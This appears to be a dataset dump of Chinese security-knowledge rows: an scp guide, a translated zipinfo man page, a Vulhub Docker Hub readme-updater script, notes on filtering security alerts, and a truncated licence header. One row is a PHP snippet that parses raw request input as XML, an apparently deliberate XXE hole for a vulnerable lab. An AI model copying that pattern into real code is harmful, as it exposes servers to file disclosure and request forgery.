text
stringlengths
100
9.93M
category
stringclasses
11 values
scp === 加密的方式在本地主机和远程主机之间复制文件 ## 补充说明 **scp命令** 用于在Linux下进行远程拷贝文件的命令,和它类似的命令有cp,不过cp只是在本机进行拷贝不能跨服务器,而且scp传输是加密的。可能会稍微影响一下速度。当你服务器硬盘变为只读read only system时,用scp可以帮你把文件移出来。另外,scp还非常不占资源,不会提高多少系统负荷,在这一点上,rsync就远远不及它了。虽然 rsync比scp会快一点,但当小文件众多的情况下,rsync会导致硬盘I/O非常高,而scp基本不影响系统正常使用。 ### 语法 ```shell scp(选项)(参数) ``` ### 选项 ```shell -1:使用ssh协议版本1; -2:使用ssh协议版本2; -4:使用ipv4; -6:使用ipv6; -B:以批处理模式运行; -C:使用压缩; -F:指定ssh配置文件; -i:identity_file 从指定文件中读取传输时使用的密钥文件(例如亚马逊云pem),此参数直接传递给ssh; -l:指定宽带限制; -o:指定使用的ssh选项; -P:指定远程主机的端口号; -p:保留文件的最后修改时间,最后访问时间和权限模式; -q:不显示复制进度; -r:以递归方式复制。 ``` ### 参数 * 源文件:指定要复制的源文件。 * 目标文件:目标文件。格式为`user@host:filename`(文件名为目标文件的名称)。 ### 实例 从远程复制到本地的scp命令与上面的命令雷同,只要将从本地复制到远程的命令后面2个参数互换顺序就行了。 **从远程机器复制文件到本地目录** ```shell scp root@10.10.10.10:/opt/soft/nginx-0.5.38.tar.gz /opt/soft/ ``` 从10.10.10.10机器上的`/opt/soft/`的目录中下载nginx-0.5.38.tar.gz 文件到本地`/opt/soft/`目录中。 **从亚马逊云复制OpenVPN到本地目录** ```shell scp -i amazon.pem ubuntu@10.10.10.10:/usr/local/openvpn_as/etc/exe/openvpn-connect-2.1.3.110.dmg openvpn-connect-2.1.3.110.dmg ``` 从10.10.10.10机器上下载openvpn安装文件到本地当前目录来。 **从远程机器复制到本地** ```shell scp -r root@10.10.10.10:/opt/soft/mongodb /opt/soft/ ``` 从10.10.10.10机器上的`/opt/soft/`中下载mongodb目录到本地的`/opt/soft/`目录来。 **上传本地文件到远程机器指定目录** ```shell scp /opt/soft/nginx-0.5.38.tar.gz root@10.10.10.10:/opt/soft/scptest # 指定端口 2222 scp -rp -P 2222 /opt/soft/nginx-0.5.38.tar.gz root@10.10.10.10:/opt/soft/scptest ``` 复制本地`/opt/soft/`目录下的文件nginx-0.5.38.tar.gz到远程机器10.10.10.10的`opt/soft/scptest`目录。 **上传本地目录到远程机器指定目录** ```shell scp -r /opt/soft/mongodb root@10.10.10.10:/opt/soft/scptest ``` 上传本地目录`/opt/soft/mongodb`到远程机器10.10.10.10上`/opt/soft/scptest`的目录中去。
sec-knowleage
.\" Copyright (c) 1990-2002 Info-ZIP. All rights reserved. .\" .\" See the accompanying file LICENSE, version 2000-Apr-09 or later .\" (the contents of which are also included in unzip.h) for terms of use. .\" If, for some reason, all these files are missing, the Info-ZIP license .\" also may be found at: ftp://ftp.info-zip.org/pub/infozip/license.html .\" .\" zipinfo.1 by Greg Roelofs and others. .\" .\" ========================================================================= .\" define .X macro (for long-line ZipInfo output examples; small Courier): .de X .nf .ft CW .ie n .ti -5 .el \{ .ti +2m .ps -1 \} \&\\$1 .ie n .ti +5 .el \{ .ti -2m .ps +1 \} .ft .fi .. .\" define .EX/.EE (for multiline user-command examples; normal Courier font) .de EX .in +4n .nf .ft CW .. .de EE .ft .fi .in -4n .. .\" ========================================================================= .TH ZIPINFO 1 "17 February 2002 (v2.4)" "Info-ZIP" .SH NAME zipinfo \- 列出关于某个ZIP压缩包的详细信息 .PD .SH "总览 SYNOPSIS" \fBzipinfo\fP [\fB\-12smlvhMtTz\fP] \fIfile\fP[\fI.zip\fP] [\fIfile(s)\fP\ .\|.\|.] [\fB\-x\fP\ \fIxfile(s)\fP\ .\|.\|.] .PP \fBunzip\fP \fB\-Z\fP [\fB\-12smlvhMtTz\fP] \fIfile\fP[\fI.zip\fP] [\fIfile(s)\fP\ .\|.\|.] [\fB\-x\fP\ \fIxfile(s)\fP\ .\|.\|.] .PD .\" ========================================================================= .SH "描述 DESCRIPTION" \fIzipinfo\fP 列出某个ZIP档案中的所包含文件的技术信息, 它们绝大多数和MS-DOS系统中的相同.信息包括文件权限设置,加密状态,压缩类型, 以及压缩程序的版本和所在的操作系统或者文件系统等.缺省时将为档案中的每一个 文件列出一行,并在首行和末行给出整个档案的概括信息.其输出的格式介于Unix中 ``\fCls \-l\fR''和 ``\fCunzip \-v\fR''的输出结果.参看下面的 .B "详细描述 DEATILED DESCRIPTION" . 请注意 \fIzipinfo\fP与\fIunzip\fP 是同一个程序 (在Unix中,是一个对它的连接); 然而在有些系统上, \fIzipinfo\fP 的支持在\fIunzip\fP 集成后已被忽略. .PD .\" ========================================================================= .SH "参数 ARGUMENTS" .TP .IR file [ .zip ] ZIP 压缩包的路径.如果指定的文件是一个通配符,那么将按照某种操作系统或者 文件系统所决定的顺序处理每一个匹配的文件.只有文件名可以是通配符.路径本 身不可以.通配符表达式和 Unix 中的 \fIegrep\fP(1) 正则表达式相似,可能包括: .RS .IP * 匹配一个0或者任意多个字符组成的序列 .IP ? 精确匹配一个字符 .IP [.\|.\|.] 匹配中括号中的任何单个字符;也可以通过首字符,连字符和末字符指定一个匹配范围.如果一个惊叹号或者插入符(`!'或者`^')紧跟左括号;那么将对括号中的内容取补集(也就是说, 任何不属于括号中的字符将被匹配). .RE .IP (如果有任何字符会被操作系统所改变,请使用引号,特别是在 Unix 或者 VMS 中)如果没有匹配项出现,那么指定的内容将被认为是原始的文件名;如果这样做也失败,那么将尝试追加 \fC.zip\fR 后缀.注意自解压的ZIP文件是支持的;只要明确指定 \fC.exe\fR 后缀即可. .IP [\fIfile(s)\fP] 指定一个可选的待处理的档案列表.正则表达式(通配符)可以用来匹配多个成员;如上所述.再次提醒如果表达式会被操作系统所扩展或者修改要使用引号. .IP [\fB\-x\fP\ \fIxfile(s)\fP] 指定一个可选的将被忽略的档案列表. .\" ========================================================================= .SH "选项 OPTIONS" .TP .B \-1 只列出文件名,一行一个.这个选项具有完全的排它性;首末行信息以及压缩文件的描述信息将不会被输出.它可以在Unix的Shell脚本中使用. .TP .B \-2 只列出文件名,一行一个,但是允许输出首行信息 (\fB\-h\fP), 末行信息(\fB\-t\fP) 和压缩文件描述信息 (\fB\-z\fP). 这个选项在文件名特别长的情况下或许有用. .TP .B \-s 以Unix的 ``\fCls \-l\fR'' 的短格式列出压缩文件的信息.这是缺省的,详情见下. .TP .B \-m 以 Unix的 ``\fCls \-l\fR'' 的中长格式列出压缩文件的信息.和\fB\-s\fP 的输出结果相同,但是它会列出以百分数表示的压缩比率. .TP .B \-l 以 Unix的 ``\fCls \-l\fR'' 的长格式列出压缩文件的信息.和 \fB\-m\fP 输出结果相同,除了压缩比率被压缩后的文件大小(以字节为单位)所取代外. .TP .B \-v 详细地以多页方式列出压缩文件的信息. .TP .B \-h 列出首行信息.并输出档案名字,实际大小(以字节为单位)以及文件数目. .TP .B \-M 将所有的输出以和 Unix 中 \fImore\fP(1) 命令相似的内部页的方式输出.在屏幕输出的末尾,\fIzipinfo\fP 将会暂停,并给出``\-\-More\-\-'' 提示;可以按Enter(Return)或者空格键查看下一屏内容.按``q'' 键(在某些系统上可能是Enter/Return键)可以结束\fIzipinfo\fP .与Unix中的more命令所不同,\fIzipinfo\fP 没有向前搜索和编辑功能.同时,\fIzipinfo\fP 对于屏幕末的长行,不能有效地将它按两行或者多行显示出来,导致\fIzipinfo\fP 屏幕上方的一些文本在被浏览之前就卷过.在有些系统上屏幕上的可显示行的数目是不能被取得的,在这种情况下,\fIzipinfo\fP 假定为24行. .TP .B \-t 列出所有或者要求被列出文件的总体信息.输出文件的数目,压缩前后的总大小,以及总的压缩系数;或者如果只有总体信息被打印出,则给出整个档案的信息.请注意总的压缩数据的大小总是不同于实际的压缩文件的大小,这是因为后者包括了作为压缩数据附属物的所有的压缩文件内部的头信息. .TP .B \-T 以按点分十进制的格式(yymmdd.hhmmss)排序输出文件的日期和时间.默认的日期格式是一个更加标准的,用户易读的,使用月份名缩写(参看下文)的版本. .TP .B \-z 包含档案中的描述信息(如果有的话). .PD .\" ========================================================================= .SH "详细描述 DETAILED DESCRIPTION" .I zipinfo 有很多种工作方式,如果不太熟悉 Unix 中的 \fIls\fP(1) (或者即使熟悉)的话,要掌握好它的使用也是比较困难的.默认的方式是以如下的格式列出文件: .PP .X "-rw-rws--- 1.9 unx 2802 t- defX 11-Aug-91 13:48 perms.2660" .PP 最后的三个字段分别是文件的修改日期和时间,还有文件名.文件名的大小写是区分的,这样来自MS-DOS PKZIP的压缩文件总是被大写.如果被压缩的文件存储了路径名,也将被看作是文件名的一部分而被显示. .PP 第二,三个字段表示了文件是在 Unix 下以 1.9 版的 \fIzip\fP 压缩的.由于它来自 Unix ,行开头的文件的存取权限以Unix 格式输出.压缩前的文件大小(本例中为2802)在第四个字段中给出. .PP 第五个字段包含了两个字符,它们中的每个都能取若干个值.第一个字符可能是`t'或者`b',相应地表示文件是文本的或者是二进制的;但是如果文件被加密,\fIzipinfo\fP 通过大写字符(`T'或者`B')来表示.第二个字符可以取四个值,它依赖于是否存在一个本地的头信息并且/或者一个和那个文件相关的 "额外" 字段(详细解释参看 PKWare's APPNOTE.TXT,它基本上类似于ANSI C中的pragmas,它们提供了一种包含非标准信息的标准方法).如果两者都不存在,该字段为连字符(`\-');如果有一个扩展的本地头信息但是没有额外字段,则为`l';反之为`x';如果都存在,则为`X'.这样上面示例中的文件(很可能)是一个未被加密的文本文件,并且没有额外字段和本地头信息与之相关联.下面的例子则是一个有额外信息的二进制文件. .PP .X "RWD,R,R 0.9 vms 168 Bx shrk 9-Aug-91 19:15 perms.0644" .PP 额外的字段的使用是为了满足不同的需要(参看下面选项 \fB\-v\fP 的讨论)包括这里讨论所假设的情况:VMS 文件的存储特性. 一些其他的可能是为了处理操作系统(这是一个误解,实际应该是文件系统更恰当些)包括 OS/2 或者使用高性能文件系统 (HPFS) 的 NT ,MS_DOS, OS/2 或者使用文件获取表 (FAT) 作为文件系统的 NT, Macintosh.它们被如下所标示: .PP .X "-rw-a-- 1.0 hpf 5358 Tl i4:3 4-Dec-91 11:33 longfilename.hpfs" .X "-r--ahs 1.1 fat 4096 b- i4:2 14-Jul-91 12:58 EA DATA. SF" .X "--w------- 1.0 mac 17357 bx i8:2 4-May-92 04:02 unzip.macr" .PP 前两个例子的文件的属性以类Unix的格式表示,其中七个子域分别表示该文件是否(1)是一个目录,(2)是可读的(总是)(3)是可写的,(4)是可执行的(猜测建立在假定它们的扩展名为\fI.exe\fP, \fI.com\fP, \fI.bat\fP, \fI.cmd\fP和\fI.btm\fP 的基础上)(5)有它的归档位设置,(6)是隐藏的和(7)是一个系统文件.由于一些 Macintosh 归档工具不存储任何档案信息, Macintosh 文件的解释是不可信的. .PP 最后,第六个字段表示了压缩使用的方法和子方法. 现在已知有六种方法:存储法(storing)(无压缩),缩减法(reducing),收缩法(shrinking), 内爆法(impoding),标志法(tokenizing)(从来没有公开发布)和紧缩法(deflating). 更进一步,缩减法有4种级别(从1到4);内爆法有4种类型(4K或者8K的滑动字典,和2或者3个Shannon-Fano树);紧缩法也有4个层次(超快,快,正常,最大压缩).\fIzipinfo\fP 用如下的方式代表了这些方法和子方法: \fIstor\fP;\fIre:1\fP, \fIre:2\fP, etc.; \fIshrk\fP; \fIi4:2\fP, \fIi8:3\fP, etc.; \fItokn\fP; and \fIdefS\fP, \fIdefF\fP, \fIdefN\fP, and \fIdefX\fP. .PP 中长和长列表格式显示几乎和短列表相同,除去它们附加了文件压缩方面的信息.中长格式以百分数列出了文件压缩率,它代表了被节省的空间: .PP .X "-rw-rws--- 1.5 unx 2802 t- 81% defX 11-Aug-91 13:48 perms.2660" .PP 在这个例子中,文件以超过5倍的比例被压缩;压缩后的数据大小仅为原是大小的19%.长格式则以以字节大小为单位的压缩后文件大小表示该信息: .PP .X "-rw-rws--- 1.5 unx 2802 t- 538 defX 11-Aug-91 13:48 perms.2660" .PP 增加 \fB\-T\fP 选项则将文件的日期和时间以点分格式输出: .PP .X "-rw-rws--- 1.5 unx 2802 t- 538 defX 910811.134804 perms.2660" .PP 注意到因为 MS-DOS 格式中用来存储文件时间的限制,第二个域总是取值为最近的偶数秒.对于 Unix 文件 \fIzip\fP(1L) 和 \fIunzip\fP 很可能在它们的下一个版本中改变. .PP 作为单独文件信息的补充,默认的输出还包括头和末信息行: .PP .X "Archive: OS2.zip 5453 bytes 5 files" .X ",,rw, 1.0 hpf 730 b- i4:3 26-Jun-92 23:40 Contents" .X ",,rw, 1.0 hpf 3710 b- i4:3 26-Jun-92 23:33 makefile.os2" .X ",,rw, 1.0 hpf 8753 b- i8:3 26-Jun-92 15:29 os2unzip.c" .X ",,rw, 1.0 hpf 98 b- stor 21-Aug-91 15:34 unzip.def" .X ",,rw, 1.0 hpf 95 b- stor 21-Aug-91 17:51 zipinfo.def" .X "5 files, 13386 bytes uncompressed, 4951 bytes compressed: 63.0%" .PP 头行给出了档案的名字,它的总大小,总的文件数;末行给出了所列出的文件数,它们总的解压后的大小和它们总的解压前的大小(不包含任何的 \fIzip\fP 内部的部分).但是,如果指定一个或者若干的文件,则头信息和末信息将不会列出.这种行为与Unix中的 ``\fCls \-l\fR'' 类似;可以通过明确指定 \fB\-h\fP h或者 \fB\-t\fP 选项强制显示. .PP 在这种情况下,由于 \fB\-h\fP 或 \fB\-t\fP (或同时)而没有其他选项意味着只有头信息或者末信息(或同时)被列出,列表的格式同样需要明确地指定.对此可参看下面\fB "示例 EXAMPLES" \fP 部分获得这个无意义的半智能化的转化. .PP 冗余的列表显示内容大多数都是自解释的.它还列出了文件和档案文件的描述,如果有的话,还列出所有存储在额外域中的类型和字节数.当前已知的额外域的类型包括 PKWARE 的认证(``AV'')信息;OS/2 扩展属性;VMS 文件系统信息,PLWARE 和 Info-ZIP 的版本; Macintosh 的resource forks;Acorn/Archimedes SparkFS 信息等等.(对于OS/2的扩展属性(压缩文件额外域中最常用的部分) \fIzipinfo\fP 报告的 EAs 的存储大小可能与 OS/2 使用 \fIdir\fP 命令给出得结果不一致:OS/2 总是以16位格式输出字节数,而 \fIzipinfo\fP 总是以32位存储输出.) .PD .\" ========================================================================= .SH "环境选项 ENVIRONMENT OPTIONS" 通过设置在环境变量中的选项可以改变 \fIzipinfo\fP 的默认的工作方式,但是解释起来稍微有点复杂, 这是因为 \fIzipinfo\fP 试图以一种直观,类 Unix 的方式进行默认工作.(不要笑)然而这里有一些内在的逻辑.简言之,选项有三个优先等级:默认选项;环境选项,它是优先于默认选项的,并作为其的补充;用户传递的明确的选项,它是优先于上述两类并作为其补充的. .PP 默认的输出列表格式,正如上述描述的,粗略地对应于 "\fCzipinfo \-hst\fR" 命令(除非指定一个单独的压缩文件). 一个偏爱长输出格式 (\fB\-l\fP) 的用户能够使用\fIzipinfo\fP的环境变量来改变默认的运作: .TP Unix Bourne shell: \f(CW\&ZIPINFO=\-l; export ZIPINFO\fP .TP Unix C shell: \f(CW\&setenv ZIPINFO \-l\fP .TP OS/2 or MS-DOS: \f(CW\&set ZIPINFO=\-l\fP .TP VMS (quotes for \fIlowercase\fP): \f(CW\&define ZIPINFO_OPTS "\-l"\fP .EE .PP 另外,如果用户不喜欢末行信息,\fIzipinfo\fP 的"反选项"的概念可以用来覆盖默认的总结行信息.这可以通过在不想使用的选项前加上减号实现:例如,,在这个例子中可以使用``\fC\-l\-t\fR'' 或者 ``\fC\-\-tl\fR'' .第一个连字符是规则开关符,而`t'之前的那个是减号.连续使用两个连字符看起来有些笨拙.但是从直觉出发并非无意义:只用忽略第一个连字符并从此开始.它同样和Unix命令中的 \fInice\fP(1) 相一致. .PP 正如上面所提到的,对于VMS默认的环境变量是ZIPINFO_OPTS(否则将作为一个安装 \fIzipinfo\fP 的外来命令和环境变量相混淆),而对于其它的操作系统则是ZIPINFO.为了与\fIzip\fP(1L) 兼容,ZIPINFOOPT也被接受(不要问为什么).如果ZIPINFO和ZIPINFOOPT均被定义,则ZIPINFO优先. \fIunzip\fP 的诊断选项(\fB\-v\fP 且没有压缩文件名)能够用来检查所有的四个可能的 \fIunzip\fP 和 \fIzipinfo\fP 环境变量. .PD .\" ========================================================================= .SH "示例 EXAMPLES" 要获得一个压缩档案 \fIstorage.zip\fP 的基本的,短格式输出的完整的内容,并包含头末行信息,使用档案名作为zipinfo 的参数即可: .PP .EX zipinfo storage .EE .PP 要获得一个基本的,长格式(非冗余)的,包含头末行信息的列表,用 \fB\-l\fP: .PP .EX zipinfo \-l storage .EE .PP 要获得一个档案的完整内容,并且不包含头末行信息,可以使用 \fB\-h\fP 和 \fB\-t\fP 的反选项,也可以明确指定显示内容: .PP .EX zipinfo \-\-h\-t storage zipinfo storage \e* .EE .PP (这里的反斜杠 (backslash `\') 只是在 shell 会将 `*' 通配符扩展时才必要,正如在 Unix 中双引号扩起来的星号将会全局有效).如果要默认关闭所有的行显示,可以使用环境变量(这里假设是C shell): .PP .EX setenv ZIPINFO \-\-t zipinfo storage .EE .PP 要获得第一个例子的完整的,短格式的列表输出,如果环境变量已经象前面的那样设置好了,就需要明确指定\fB\-s\fP 选项,因为 \fB\-t\fP 选项本身只表示输出末行信息: .PP .EX setenv ZIPINFO \-\-t zipinfo \-t storage \fR[only totals line]\fP zipinfo \-st storage \fR[full listing]\fP .EE .PP \fB\-s\fP 选项和 \fB\-m\fP 和 \fB\-l\fP, 选项一样,默认情况下包含了头末行信息,除非另外指定,因为规定不显示末行信息的环境变量较之于默认的 \fB\-s\fP 选项的优先权更高,因此为了得到完整的列表输出,就需要明确指定 \fB\-t\fP 选项.没有什么(环境变量)与头信息相关连,因此 \fB\-s\fP 选项就足够了.请注意当使用 \fB\-h\fP 和 \fB\-t\fP 选项的时候,将不显示任何默认的文件列表;只显示头和/或末信息.在使用一个通配符作为 \fIzipinfo\fP 的参数的时候,这种模式是有用的;所有文件的内容只用一个命令就归纳出了. .PP 要以中长格式列出档案中的一个单独文件的信息,只用明确指定文件名就可以了: .PP .EX zipinfo \-m storage unshrink.c .EE .PP 指定任何一个档案成员的文件名,就象在本例一样,将不再显示默认的头末信息;只有显示特定文件信息的那行将被输出.当要获得某个单独的文件的信息的时候这种模式符合直觉.对于多个文件的情形,知道总共的压缩前后的文件的大小常是有用的;在这种情况下 \fB\-t\fP 选项常需要明确指定: .PP .EX zipinfo \-mt storage "*.[ch]" Mak\e* .EE .PP 为了获得一个ZIP档案的完全信息,可使用冗余选项.如果操作系统允许的话把输出重定向至一个过滤器例如Unix中的\fImore\fP(1) 通常是明智之举: .PP .EX zipinfo \-v storage | more .EE .PP 最后,为了查看档案中最近修改的文件,可使用 \fB\-T\fP 选项配合外部的排序程序比如 Unix 中的 \fIsort\fP(1) (还有这个例子中的 \fItail\fP(1) ): .PP .EX zipinfo \-T storage | sort -n +6 | tail -15 .EE .PP \fB\-n\fP 选项告诉 \fIsort\fP(1) 以数字大小排序而不是 ASCII 顺序, \fB\+6\fP 选项意为以第一个后面的第六个字段排序(也就是说是第七个字段).这里假定是默认的短格式输出;如果使用了 \fB\-m\fP 或者 \fB\-l\fP 选项,则正确的 \fIsort\fP(1) 选项将是 \fB\+7\fP.\fItail\fP(1) 命令除去最后15行以外的所有内容.以后的版本的 \fIzipinfo\fP 可能会集成日期/时间和文件名的排序于内建的选项. .PD .\" ========================================================================= .SH "技巧 TIPS" 作者发现如果在可以使用别名的系统(或者允许在系统上拷贝/重命名可执行程序,建立链接或者可以以\fIii\fP 为名建立一个命令文件)上定义 \fIzipinfo\fP 的别名为 \fIii\fP 将会带来很大的方便. \fIii\fP 的用法和通常的作为Unix中长格式输出的别名的 \fIll\fP 相平行,而且两个命令的输出的相似性是有意义的. .PD .\" ========================================================================= .SH BUGS 相对于 \fIunzip\fP,\fIzipinfo\fP 的 \fB\-M\fP (``more'') 选项总体上来说在处理屏幕输出时是过于简单了;正如上面指出的,它不能正确地发现过长的行,因此很可能引起屏幕上端的行在被读取之前就被滚动略过.如果附加一个额外的行,\fIzipinfo\fP 应该能发现并且处理这种情况.这需要获得屏幕的宽和高.并且,\fIzipinfo\fP 还要获得所有系统中的屏幕的真实尺寸. .PP \fIzipinfo\fP的按列输出的模式是没有必要那么复杂的,应进行简化(这里并不是说将会的到简化). .PP .\" ========================================================================= .SH "参见 SEE ALSO" \fIls\fP(1), \fIfunzip\fP(1L), \fIunzip\fP(1L), \fIunzipsfx\fP(1L), \fIzip\fP(1L), \fIzipcloak\fP(1L), \fIzipnote\fP(1L), \fIzipsplit\fP(1L) .PD .\" ========================================================================= .SH URL The Info-ZIP home page is currently at .EX \fChttp://www.info-zip.org/pub/infozip/\fR .EE 或 .EX \fCftp://ftp.info-zip.org/pub/infozip/\fR . .EE .PD .\" ========================================================================= .SH "作者 AUTHOR" Greg ``Cave Newt'' Roelofs. ZipInfo 包含了Mark Adler的模式匹配的代码以及其他很多人的修正/改进.请参考UnZip源程序发布中的CONTRIBS文件获得更加完整的列表. .SH "[中文版维护人]" .B 严亚勤 <tinyfat@263.net> .SH "[中文版最新更新]" .B 2003.11.22 .SH "《中国linux论坛man手册翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
<?php $data = file_get_contents('php://input'); $dom = new DOMDocument(); $dom->loadXML($data); print_r($dom);
sec-knowleage
import requests import os import sys import pathlib import logging import yaml from typing import Mapping, Iterable from collections import defaultdict logging.basicConfig(stream=sys.stdout, level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s') auth_token = os.environ.get('TOKEN', '') session = requests.session() session.headers = { 'Authorization': f'Bearer {auth_token}', 'Origin': 'https://hub.docker.com', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36', 'X-DOCKER-API-CLIENT': 'docker-hub/v3012.0.0', } base = pathlib.Path(__file__).parent.parent.parent.absolute() template = '''# Vulhub image for {placeholder_name} ## Image Description Vulhub is an open-source collection of pre-built vulnerable docker environments. No pre-existing knowledge of docker is required, just execute two simple commands and you have a vulnerable environment. This image is one of the environment of Vulhub project. Please see the [USER MANUAL](https://github.com/vulhub/vulhub) from the Vulhub project to see more detail. ## Usage Do not use this image directly, use it through [docker-compose](https://docs.docker.com/compose/). ``` docker-compose up -d ``` Following environments are using this image, you can find the `docker-compose.yml` file on these folders: {placeholder_vulns_block} ## Quick reference - **Maintained by** <br>[phith0n](https://github.com/phith0n) and other contributors from [Vulhub](https://github.com/vulhub) - **Where to get help:** <br>[Github Issues](https://github.com/vulhub/vulhub/issues) - **Which environments do this image be used:**<br>{placeholder_vulns_inline} ## License Because Vulhub is packaged with other software, please refer to the software license for the software inside the Vulhub image. Vulhub's own code is open source based on the [MIT license](https://github.com/vulhub/vulhub/blob/master/LICENSE). As for any pre-built image usage, it is the image user's responsibility to ensure that any use of this image complies with any relevant licenses for all software contained within. ''' def prepare_vulhub() -> Mapping: vulhub = defaultdict(list) for f in base.rglob("docker-compose.yml"): start = len(str(base.absolute())) + 1 end = len(str(f.absolute())) - 18 - 1 vuln_path = str(f.absolute())[start:end].replace('\\', '/') compose = yaml.safe_load(f.read_bytes()) for service_name, array in compose['services'].items(): if 'image' not in array: continue image_name = array['image'] if ':' in image_name: image_name, _ = image_name.split(':') if image_name.startswith('vulhub/'): vulhub[image_name].append(vuln_path) return vulhub def build_readme(name, vulns: Iterable): envs = [] for vuln in vulns: envs.append(f'[{vuln}](https://github.com/vulhub/vulhub/tree/master/{vuln})') return template\ .replace('{placeholder_name}', name)\ .replace('{placeholder_vulns_block}', '\n'.join([f'- {v}' for v in envs]))\ .replace('{placeholder_vulns_inline}', ', '.join(envs)) def list_all_repository(): response = session.get('https://hub.docker.com/v2/repositories/vulhub?page_size=200&ordering=last_updated') data = response.json() if response.status_code != 200 or data.get('error', None): raise Exception('authentication error') for obj in data['results']: yield f"{obj['namespace']}/{obj['name']}" def update_description(name, vulns): response = session.patch(f'https://hub.docker.com/v2/repositories/{name}/', json={ 'full_description': build_readme(name, vulns) }, headers={ 'Content-Type': 'application/json' }) if response.status_code != 200: raise Exception(f'update readme for {name} failed, status code = {response.status_code}, response text = {response.text}') def main(): try: vuln = prepare_vulhub() for name in list_all_repository(): update_description(name, vuln.get(name, [])) logging.info("Success to update readme for %s", name) except Exception as e: logging.error("error: %r", e) if __name__ == '__main__': main()
sec-knowleage
# 告警筛选笔记 安全运营的一项工作就是要进行告警监控,随着安全行业的发展,各种安全产品层出不穷,产生的海量数据对于人力的要求越来越高。但大家都知道,攻防对抗本质上是成本的对抗,这种海量的告警虽然有助于我们掌握安全态势,但不利于我们实际研判。这也是一个博弈的关系,那最好的一个情况,就是用最低数量的告警去精准地覆盖最全的安全事件。So,为了这个目的,我们进入以下的学习。 ## 告警筛选 ### 传统方法 > - 风险筛选法:关注高风险等级的告警 > - 规则筛选法:关注特定防护规则产生的告警 > - 目标筛选法:关注关键资产相关的告警 > - 失陷筛选法:关注攻击源为内网主机的告警 > > [1] ### 前沿技术 > - 攻击链筛选法:设法将告警对应到标准攻击步骤,关注构成攻击链的告警 > - 威胁情报筛选法:利用云端共享信息,关注恶意IP相关的告警 > - 异常检测筛选法:关注罕见类型、罕见端口等在统计分布中孤立/离群的告警 > > [1] 关于异常检测筛选法,本质上是一种对安全能力依赖很小的方法,只要从正常中找到异常就可以,不管是什么数据。但理想很丰满,现实很骨感。由于业务、网络本身有着很多复杂的、独特的情况,加上真正有价值的高危险告警本身很稀有,导致精准识别高风险非常困难。 从成本上考虑,使用机器学习、数据分析算法去进行异常检测,我们的目的是提高检测效率,但通常来说,有监督的学习方式对于海量的数据来说,也来了大量的特征工程工作量 ### 实战相关 > **猜想一:** **人类专家在分析防护告警时,是在关注某种与攻击相关的、抽象层次很高的概念。**告警中的各项具体指标,甚至是攻击方法、攻击对象这样的浅层抽象,其实都只是参考信息。人类专家所关心的可能是攻击行为背后的潜在利益、攻击者的内在目的、攻击者的信心和决心、或者其它更高层次的抽象。 > > **猜想二:** **最能够反映这个抽象概念的信息,位于告警载荷或原始网络流量中。**某种意义上,这表明现有的防护系统是存在缺陷的——防护系统根据原始流量产生告警的过程中,可能损失了某种关键信息,而这种信息恰恰能够反映告警的实际重要程度。 > > [1] ### 方案的完善 > **1、需要引入数据分析方法:** > > a)信息处理过程存在高度抽象,难以直接定义处理逻辑,需要通过机器学习来找出其中的关联; > > b)考虑告警筛选问题的原始需求,模型输入应为原始告警,输出应为重要性分值/分类。 > > **2、需要将告警载荷或原始流量内容纳入模型输入**: > > a)但告警载荷通常是二进制流数据,没有统一结构,且目前尚不明确告警载荷中的具体哪些成分能够真正反映告警重要程度; > > b)需要一种广泛的特征提取方法,将二进制流数据转换为模型可用的特征输入。 > > **3、需要人类专家的参与:** > > a)真实环境中的信息安全事件可遇而不可求,真阳性样本非常稀缺; > > b)不同漏洞在不同场景下的利用方法千变万化,靶场模拟效果很难保证; > > c)需要设计一种方式,让模型能够从人类专家那里得到一些标注、反馈、或者其它类型的关键知识。 > > [1] ### 自己的一些思考 #### 一些机遇 在[1]文章中有说到,现阶段的,国内的威胁情报发展还是在一个起步的阶段,从这里面也看到了一些机遇。 - 威胁情报的共享 —— 尚不用说不同公司间,就算是公司的不同部门间也是各自为战,数据割裂的情况很严重 - 不同行业间 - 不同公司间 - 公司的不同部门间 - 部门的不同小组间 - ... - 威胁情报的生产 —— 自动化一定是未来的方向,但自动化生产对算法的要求,被场景的限制都是很高的 - 私有化生产 - 共享化交换 - 威胁情报的运营 —— 光有数据,没有人消费,那是无源之水 #### 需要做的 安全运营专家的成长史,往往都是从实战起步,对真实的攻击比较了解,甚至是精通,在这个之上去观察、思考防御的缺陷,人力、设备、组织架构等各个方面的难题。 对于一个安全运营专家来说,技术为根,管理为骨,设计为首,落地为脚。对于想成为安全运营专家的同学,包括我这个刚起步的小菜鸟来说,对技术持续的学习,对流程管理的理解与体会,对产品和架构的深入理解,对项目实战的积极参与,是非常重要的。 加油! ## References \[1] 【攻击意图评估:序】误报太多?谈海量告警筛选,[绿盟科技研究通讯](javascript:void(0);), https://mp.weixin.qq.com/s/izwotbdfcxybZ02gIw-nFg
sec-knowleage
.\" Copyright (c) 1990, 1991 The Regents of the University of California. .\" All rights reserved. .\" .\" This code is derived from software contributed to Berkeley by .\" Chris Torek and the American National Standards Committee X3, .\" on Information Processing Systems. .\" .\" Redistribution and use in source and binary forms, with or without .\" modification, are permitted provided that the following conditions .\" are met: .\" 1. Redistributions of source code must retain the above copyright .\" notice, this list of conditions and the following disclaimer. .\" 2. Redistributions in binary form must reproduce the above copyright .\" notice, this list of conditions and the following disclaimer in the .\" documentation and/or other materials provided with the distribution. .\" 3. All advertising materials mentioning features or use of this software .\" must display the following acknowledgement: .\" This product includes software developed by the University of .\" California, Berkeley and its contributors. .\" 4. Neither the name of the University nor the names of its contributors .\" may be used to endorse or promote products derived from this software .\" without specific prior written permission. .\" .\" THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND .\" ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE .\" IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE .\" ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE .\" FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL .\" DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS .\" OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) .\" HOWEVER 